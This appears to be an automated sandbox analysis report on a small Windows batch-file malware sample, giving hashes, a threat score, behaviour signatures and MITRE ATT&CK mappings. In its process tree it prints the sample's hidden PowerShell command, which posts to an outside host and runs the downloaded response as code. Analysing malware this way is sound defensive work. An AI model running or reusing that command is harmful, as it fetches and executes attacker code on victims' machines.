f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
31/03/2026, 04:48

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General

Target
f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd.bat
Size 265B
Sample260331-fe8arsg18z
SHA256 f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd
MD5 089e2872016f75a5223b5e02c184dfec
SHA1 978407431d75885228e0776913543992a9eb7cc4
SHA512 d17ebf468826a1e4dd2dfc4649cc055dc90689b74432495ed243ba264045776198159515a27f031d391585ccb455d5beee7c9e4de595167bffd91125df1b6692
TLSH
T17CD02BA11AB9C7500444D9243174F944AF903BC0219D7EE47FE6F36488502E1C525A08
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3184	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3184	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3184	powershell.exe
3184	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3184	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 2780 wrote to memory of 3184	2780	cmd.exe	80

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w h -c "& ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing -Uri 'http://sfrclak.com:8000/6202033' -Method POST -Body 'packages.npm.org/product1').Content))) 'http://sfrclak.com:8000/6202033'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3184

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_cybfa14o.sze.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cybfa14o.sze.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3184-3-0x00000208EBA80000-0x00000208EBA90000-memory.dmp

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memory/3184-2-0x00000208EBA80000-0x00000208EBA90000-memory.dmp

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memory/3184-9-0x00000208EB930000-0x00000208EB952000-memory.dmp

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memory/3184-11-0x00000208EBA80000-0x00000208EBA90000-memory.dmp

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memory/3184-12-0x00000208EBA80000-0x00000208EBA90000-memory.dmp

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memory/3184-13-0x00000208EBA80000-0x00000208EBA90000-memory.dmp

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memory/3184-14-0x00000208EB100000-0x00000208EB15D000-memory.dmp

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memory/3184-15-0x00000208EB650000-0x00000208EB662000-memory.dmp

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memory/3184-16-0x00000208EB920000-0x00000208EB929000-memory.dmp

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memory/3184-23-0x00000208EB100000-0x00000208EB15D000-memory.dmp

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memory/3184-25-0x00000208EB920000-0x00000208EB929000-memory.dmp

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